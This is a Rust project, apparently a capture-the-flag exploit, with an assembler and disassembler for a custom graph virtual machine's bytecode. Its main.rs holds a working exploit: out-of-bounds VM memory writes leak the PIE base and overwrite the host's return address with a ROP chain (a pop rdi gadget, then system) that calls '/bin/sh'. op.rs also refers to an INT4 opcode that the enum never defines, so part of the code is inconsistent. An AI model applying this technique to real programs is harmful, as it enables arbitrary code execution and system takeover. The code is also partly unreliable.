ctx.rs

use std::{
    cell::RefCell,
    collections::HashMap,
    ops::{
        AddAssign, Deref, DivAssign, Index, IndexMut, MulAssign, ShlAssign, ShrAssign, SubAssign,
    },
    rc::Rc,
};

use crate::op::{Insn, Opcode, PartialInsn, U16OrLabel};

pub struct Builder {
    insns: RefCell<Vec<PartialInsn>>,
    labels: RefCell<HashMap<String, u16>>,
}

impl Builder {
    pub fn new() -> Self {
        Self {
            insns: RefCell::new(Vec::new()),
            labels: RefCell::new(HashMap::new()),
        }
    }

    fn to_insns(&self) -> Vec<Insn> {
        let mut ret = vec![];

        for (i, insn) in self.insns.borrow().iter().enumerate() {
            let i = i as i16;
            ret.push(Insn {
                opcode: insn.opcode,
                a: insn.a,
                b: match &insn.b {
                    U16OrLabel::U16(b) => *b,
                    U16OrLabel::Label(label) => {
                        (*self
                            .labels
                            .borrow_mut()
                            .get(label)
                            .expect("Use of label that was never defined")
                            as i16
                            - i) as u16
                    }
                },
                d: match &insn.d {
                    U16OrLabel::U16(b) => *b,
                    U16OrLabel::Label(label) => {
                        (*self
                            .labels
                            .borrow_mut()
                            .get(label)
                            .expect("Use of label that was never defined")
                            as i16
                            - i) as u16
                    }
                },
                e: match &insn.e {
                    U16OrLabel::U16(b) => *b,
                    U16OrLabel::Label(label) => {
                        (*self
                            .labels
                            .borrow_mut()
                            .get(label)
                            .expect("Use of label that was never defined")
                            as i16
                            - i) as u16
                    }
                },
            });
        }

        ret
    }

    fn record_label(&self, label: &str) {
        let _ = self
            .labels
            .borrow_mut()
            .insert(label.to_string(), self.insns.borrow().len() as u16)
            .map(|_| panic!("Redefinition of label"));
    }

    fn append_insn(&self, insn: Insn) {
        self.insns.borrow_mut().push(insn.into());
    }

    fn append_partial_insn(&self, insn: PartialInsn) {
        self.insns.borrow_mut().push(insn);
    }
}

pub struct Context {
    builder: Rc<Builder>,
    pub mem: Memory,
}

impl Context {
    pub fn new() -> Context {
        let builder = Rc::new(Builder::new());

        Context {
            mem: Memory::new(builder.clone()),
            builder,
        }
    }

    pub fn to_insns(&self) -> Vec<Insn> {
        self.builder.to_insns()
    }

    pub fn to_buffer(&self) -> Vec<u8> {
        let mut out = vec![];
        let insns = self.to_insns();
        out.extend_from_slice(&u16::to_ne_bytes(insns.len() as u16));

        for insn in insns {
            // transmute bytes with sizeof
            let bytes: [u8; std::mem::size_of::<Insn>()] = unsafe { std::mem::transmute(insn) };
            out.extend_from_slice(&bytes);
        }

        out
    }

    fn append_insn(&self, insn: Insn) {
        self.builder.append_insn(insn);
    }

    pub fn label(&self, label: &str) {
        self.builder.record_label(label);
    }

    pub fn jmp(&mut self, addr: Addr, offset: u16) {
        self.append_insn(Insn {
            opcode: Opcode::JMP_MEM_OFFSET,
            a: 0,
            b: addr.0,
            d: offset,
            e: 0,
        });
    }

    pub fn jmp_label(&mut self, label: &str) {
        self.builder.append_partial_insn(PartialInsn {
            opcode: Opcode::JMP_MEM_OFFSET,
            a: 0,
            b: U16OrLabel::U16(0),
            d: U16OrLabel::Label(label.to_string()),
            e: U16OrLabel::U16(0),
        });
    }

    pub fn je(&mut self, addr: Addr, offset: u16) {
        self.append_insn(Insn {
            opcode: Opcode::JNZ_MEM_OFFSET,
            a: 0,
            b: addr.0,
            d: offset,
            e: 0,
        });
    }

    pub fn je_label(&mut self, label: &str) {
        self.builder.append_partial_insn(PartialInsn {
            opcode: Opcode::JNZ_MEM_OFFSET,
            a: 0,
            b: U16OrLabel::U16(0),
            d: U16OrLabel::Label(label.to_string()),
            e: U16OrLabel::U16(0),
        });
    }

    pub fn cmp(&mut self, a: Addr, b: Addr) {
        self.append_insn(Insn {
            opcode: Opcode::CMP,
            a: 0,
            b: a.0,
            d: b.0,
            e: 0,
        });
    }

    pub fn step(&mut self, src: Addr, dst: Addr) {
        self.append_insn(Insn {
            opcode: Opcode::STEP,
            a: 0,
            b: src.0,
            d: dst.0,
            e: 0,
        });
    }

    pub fn read_edge(&mut self, id: Addr, src_dst_addr: Addr, weight_addr: Addr) {
        self.append_insn(Insn {
            opcode: Opcode::READ_EDGE,
            a: 0,
            b: id.0,
            d: src_dst_addr.0,
            e: weight_addr.0,
        });
    }

    pub fn restart(&mut self) {
        self.append_insn(Insn {
            opcode: Opcode::RELOAD,
            a: 0,
            b: 0,
            d: 0,
            e: 0,
        });
    }

    pub fn int3(&mut self) {
        self.append_insn(Insn {
            opcode: Opcode::INT3,
            a: 0,
            b: 0,
            d: 0,
            e: 0,
        });
    }
}

pub struct Memory {
    builder: Rc<Builder>,
    mems: Vec<MemoryRef>,
}

impl Memory {
    pub fn new(builder: Rc<Builder>) -> Memory {
        Memory {
            mems: (0..4096)
                .map(Addr)
                .map(|x| MemoryRef(builder.clone(), x, DerefdMemoryRef(builder.clone(), x)))
                .collect(),
            builder,
        }
    }
}

#[derive(Copy, Clone)]
pub struct Addr(u16);

impl Addr {
    pub fn zero() -> Self {
        Addr(0)
    }
}

impl From<u16> for Addr {
    fn from(x: u16) -> Self {
        if x == 0 {
            panic!("Addr(0) is invalid, assumed to always be zero");
        }
        Addr(x)
    }
}

impl Index<Addr> for Memory {
    type Output = MemoryRef;

    fn index(&self, index: Addr) -> &Self::Output {
        &self.mems[index.0 as usize]
    }
}

impl IndexMut<Addr> for Memory {
    fn index_mut(&mut self, index: Addr) -> &mut Self::Output {
        &mut self.mems[index.0 as usize]
    }
}

pub struct MemoryRef(Rc<Builder>, Addr, DerefdMemoryRef);

impl MemoryRef {
    pub fn set(&mut self, a: impl Into<MemoryWriteValue>) -> Addr {
        use MemoryWriteValue::*;

        match a.into() {
            Imm(val) => {
                self.0.append_insn(Insn {
                    opcode: Opcode::STORE_IMM,
                    a: 0,
                    b: self.1 .0,
                    d: (val & 0xFFFF) as u16,
                    e: (val >> 16) as u16,
                });
            }
            Mem(addr) => {
                self.0.append_insn(Insn {
                    opcode: Opcode::MOV,
                    a: 0,
                    b: addr.0,
                    d: self.1 .0,
                    e: 0,
                });
            }
            DerefMem(addr) => {
                self.0.append_insn(Insn {
                    opcode: Opcode::READ_AT_ADDR,
                    a: 0,
                    b: addr.0,
                    d: self.1 .0,
                    e: 0,
                });
            }
            NumVertices => {
                self.0.append_insn(Insn {
                    opcode: Opcode::READ_NUM_VERTICES,
                    a: 0,
                    b: 0,
                    d: self.1 .0,
                    e: 0,
                });
            }
            NumEdges => {
                self.0.append_insn(Insn {
                    opcode: Opcode::READ_NUM_EDGES,
                    a: 0,
                    b: 0,
                    d: self.1 .0,
                    e: 0,
                });
            }
        };

        self.1
    }

    fn emit_op(&self, opcode: Opcode, other: Addr) {
        self.0.append_insn(Insn {
            opcode,
            a: 0,
            b: other.0,
            d: self.1 .0,
            e: 0,
        });
    }
}

impl Deref for MemoryRef {
    type Target = DerefdMemoryRef;

    fn deref(&self) -> &Self::Target {
        &self.2
    }
}

#[derive(Clone)]
pub struct DerefdMemoryRef(Rc<Builder>, Addr);

impl DerefdMemoryRef {
    pub fn set(&self, a: Addr) {
        self.0.append_insn(Insn {
            opcode: Opcode::STORE_AT_ADDR,
            a: 0,
            b: a.0,
            d: self.1 .0,
            e: 0,
        });
    }
}

impl AddAssign<Addr> for MemoryRef {
    fn add_assign(&mut self, rhs: Addr) {
        self.emit_op(Opcode::ADD, rhs)
    }
}

impl SubAssign<Addr> for MemoryRef {
    fn sub_assign(&mut self, rhs: Addr) {
        self.emit_op(Opcode::SUB, rhs)
    }
}

impl MulAssign<Addr> for MemoryRef {
    fn mul_assign(&mut self, rhs: Addr) {
        self.emit_op(Opcode::MUL, rhs)
    }
}

impl DivAssign<Addr> for MemoryRef {
    fn div_assign(&mut self, rhs: Addr) {
        self.emit_op(Opcode::DIV, rhs)
    }
}

impl ShlAssign<Addr> for MemoryRef {
    fn shl_assign(&mut self, rhs: Addr) {
        self.emit_op(Opcode::SHL, rhs)
    }
}

impl ShrAssign<Addr> for MemoryRef {
    fn shr_assign(&mut self, rhs: Addr) {
        self.emit_op(Opcode::SHR, rhs)
    }
}

impl Into<MemoryWriteValue> for Addr {
    fn into(self) -> MemoryWriteValue {
        MemoryWriteValue::Mem(self)
    }
}

impl Addr {
    pub fn deref(&self) -> MemoryWriteValue {
        MemoryWriteValue::DerefMem(*self)
    }
}

#[derive(Copy, Clone)]
pub enum MemoryWriteValue {
    Imm(u32),
    Mem(Addr),
    DerefMem(Addr),
    NumVertices,
    NumEdges,
}

impl Into<MemoryWriteValue> for u32 {
    fn into(self) -> MemoryWriteValue {
        MemoryWriteValue::Imm(self)
    }
}

main.rs

#![allow(non_camel_case_types, dead_code)]

use crate::ctx::Addr;

mod ctx;
mod op;

// find edge leading to target, overflow into current
// node and set it to the edge source, then move along
// the edge to the target
fn shortest(ctx: &mut ctx::Context) {
    use ctx::MemoryWriteValue::*;

    let end_vertex_id = 1.into();
    let i = 2.into();
    let one = 3.into();
    let sixteen = 6.into();

    let edge_src_dest = 4.into();
    let edge_src = 7.into();
    let edge_dst = 8.into();
    let edge_weight = 5.into();

    ctx.mem[end_vertex_id].set(NumVertices);
    ctx.mem[one].set(1);
    ctx.mem[sixteen].set(16);

    // i = num_edges - 1
    ctx.mem[i].set(NumEdges);
    ctx.mem[i] -= one;

    ctx.label("loop_check:");
    {
        ctx.cmp(i, Addr::zero());
        ctx.je_label("loop_after:");
        ctx.jmp_label("loop_body:");
    }

    ctx.label("loop_body:");
    {
        ctx.read_edge(i, edge_src_dest, edge_weight);

        // split out source and dest
        ctx.mem[edge_src].set(edge_src_dest);
        ctx.mem[edge_dst].set(edge_src_dest);

        ctx.mem[edge_dst] >>= sixteen;

        ctx.mem[edge_src] <<= sixteen;
        ctx.mem[edge_src] >>= sixteen;

        // check if the destination of this edge is the end vertex
        ctx.cmp(edge_dst, end_vertex_id);
        ctx.je_label("found:");

        // decrement and loop
        ctx.mem[i] -= one;
        ctx.jmp_label("loop_check:");
    }

    ctx.label("loop_after:");
    {
        // not found?
        ctx.int3();
    }

    ctx.label("found:");
    {
        // overwrite current vertex
        ctx.mem[2051.into()].set(edge_src);
        ctx.step(edge_src, edge_dst);
    }
}

// rop chain into a call to system(/bin/sh)
fn rop(ctx: &mut ctx::Context) {
    let idx_stored_rbp_lo: Addr = 2055.into();
    let idx_stored_rbp_hi: Addr = 2056.into();

    let idx_ret_addr_lo: Addr = 2057.into();
    let idx_ret_addr_hi: Addr = 2058.into();

    let bin_sh_addr_lo: Addr = 2059.into();
    let bin_sh_addr_hi: Addr = 2060.into();

    let system_call_addr_lo: Addr = 2061.into();
    let system_call_addr_hi: Addr = 2062.into();

    let bin_sh_value_lo: Addr = 2067.into();
    let bin_sh_value_hi: Addr = 2068.into();

    // original return address offset is 0x13cb
    let original_return_offset_from_base = 0x13cb;

    let pop_rdi_ret = 0x1fa3;
    let system = 0x19A9; // call system

    let pie_base_lo = 1.into();
    let pie_base_hi = 2.into();

    let scratch = 3.into();

    // stack layout looks like this:
    // -----------------------------
    // 0x00: saved rbp lo
    // 0x04: saved rbp hi
    // 0x08: ret addr lo
    // 0x0C: ret addr hi

    // we're going to make it look like this:
    // --------------------------------------
    // 0x00: saved rbp lo
    // 0x04: saved rbp hi
    // 0x08: pop_rdi_ret lo
    // 0x0C: pop_rdi_ret hi
    // 0x10: stack + 0x20 lo
    // 0x14: stack + 0x20 hi
    // 0x18: system_call_addr lo
    // 0x1C: system_call_addr hi
    // 0x20: /
    // 0x21: b
    // 0x22: i
    // ...

    // set return address to base
    ctx.mem[scratch].set(original_return_offset_from_base);
    ctx.mem[idx_ret_addr_lo] -= scratch;

    // save base
    ctx.mem[pie_base_lo].set(idx_ret_addr_lo);
    ctx.mem[pie_base_hi].set(idx_ret_addr_hi);

    // set return address to pop_rdi_ret
    ctx.mem[scratch].set(pop_rdi_ret);
    ctx.mem[idx_ret_addr_lo] += scratch;

    // rdi = ptr to stored rbp
    ctx.mem[bin_sh_addr_lo].set(idx_stored_rbp_lo);
    ctx.mem[bin_sh_addr_hi].set(idx_stored_rbp_hi);

    // return address of pop rdi gadget to system call
    ctx.mem[scratch].set(system);
    ctx.mem[system_call_addr_lo].set(pie_base_lo);
    ctx.mem[system_call_addr_hi].set(pie_base_hi);
    ctx.mem[system_call_addr_lo] += scratch;

    // set /bin/sh string
    ctx.mem[bin_sh_value_lo].set(0x6E69622F); // /bin
    ctx.mem[bin_sh_value_hi].set(0x0068732F); // /sh\0

    // move saved rbp out of the way
    ctx.mem[scratch].set(0x100);
    ctx.mem[idx_stored_rbp_lo] += scratch;

    ctx.int3();
}

fn main() {
    let mut ctx = ctx::Context::new();
    rop(&mut ctx);
    // shortest(&mut ctx);

    let insns = ctx.to_insns();
    for insn in insns {
        println!("{}", insn.disassemble());
    }

    std::fs::write("./out.bin", ctx.to_buffer()).unwrap();
}

op.rs

#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct Insn {
    pub opcode: Opcode,
    pub a: u8,
    pub b: u16,
    pub d: u16,
    pub e: u16,
}

const _: () = assert!(std::mem::size_of::<Insn>() == 8);

#[derive(Debug, Clone)]
pub struct PartialInsn {
    pub opcode: Opcode,
    pub a: u8,
    pub b: U16OrLabel,
    pub d: U16OrLabel,
    pub e: U16OrLabel,
}

#[derive(Debug, Clone)]
pub enum U16OrLabel {
    U16(u16),
    Label(String),
}

impl From<Insn> for PartialInsn {
    fn from(insn: Insn) -> Self {
        PartialInsn {
            opcode: insn.opcode,
            a: insn.a,
            b: U16OrLabel::U16(insn.b),
            d: U16OrLabel::U16(insn.d),
            e: U16OrLabel::U16(insn.e),
        }
    }
}

#[repr(u8)]
#[derive(Copy, Clone, Debug, PartialEq, Eq)]
pub enum Opcode {
    STORE_IMM = 0x0,
    ADD = 0x1,
    SUB = 0x2,
    MUL = 0x3,
    DIV = 0x4,
    SHL = 0x5,
    SHR = 0x6,
    MOV = 0x7,
    JMP_MEM_OFFSET = 0x8,
    JNZ_MEM_OFFSET = 0x9,
    CMP = 0xA,
    STEP = 0xB,
    READ_EDGE = 0xC,
    READ_NUM_VERTICES = 0xD,
    READ_NUM_EDGES = 0xE,
    RELOAD = 0xF,
    STORE_AT_ADDR = 0x10,
    READ_AT_ADDR = 0x11,
    INT3 = 0x12,
}

impl Insn {
    pub fn disassemble(&self) -> String {
        let Insn { b, d, e, .. } = *self;

        match self.opcode {
            Opcode::STORE_IMM => {
                format!("mem[{b}] = {d}, {e}")
            }
            Opcode::ADD => format!("mem[{d}] += mem[{b}]"),
            Opcode::SUB => format!("mem[{d}] -= mem[{b}]"),
            Opcode::MUL => format!("mem[{d}] *= mem[{b}]"),
            Opcode::DIV => format!("mem[{d}] /= mem[{b}]"),
            Opcode::SHL => format!("mem[{d}] <<= mem[{b}]"),
            Opcode::SHR => format!("mem[{d}] >>= mem[{b}]"),
            Opcode::MOV => format!("mem[{d}] = mem[{b}]"),
            Opcode::JMP_MEM_OFFSET => format!("pc += mem[{b}] + {}", d as i16),
            Opcode::JNZ_MEM_OFFSET => format!("if (flags) pc += mem[{b}] + {}", d as i16),
            Opcode::CMP => format!("flags = mem[{b}] == mem[{d}]"),
            Opcode::STEP => format!("move along edge from mem[{b}] to mem[{d}]"),
            Opcode::READ_EDGE => {
                format!("mem[{d}] = edges[{b}].src, edges[{b}].dst; mem[{e}] = edges[{b}].weight")
            }
            Opcode::READ_NUM_VERTICES => format!("mem[{d}] = num_vertices"),
            Opcode::READ_NUM_EDGES => format!("mem[{d}] = num_edges"),
            Opcode::RELOAD => format!("reload"),
            Opcode::STORE_AT_ADDR => format!("mem[mem[{d}]] = mem[{b}]"),
            Opcode::READ_AT_ADDR => format!("mem[{d}] = mem[mem[{b}]]"),
            Opcode::INT3 => format!("int3"),
            Opcode::INT4 => format!("int4"),
        }
    }
}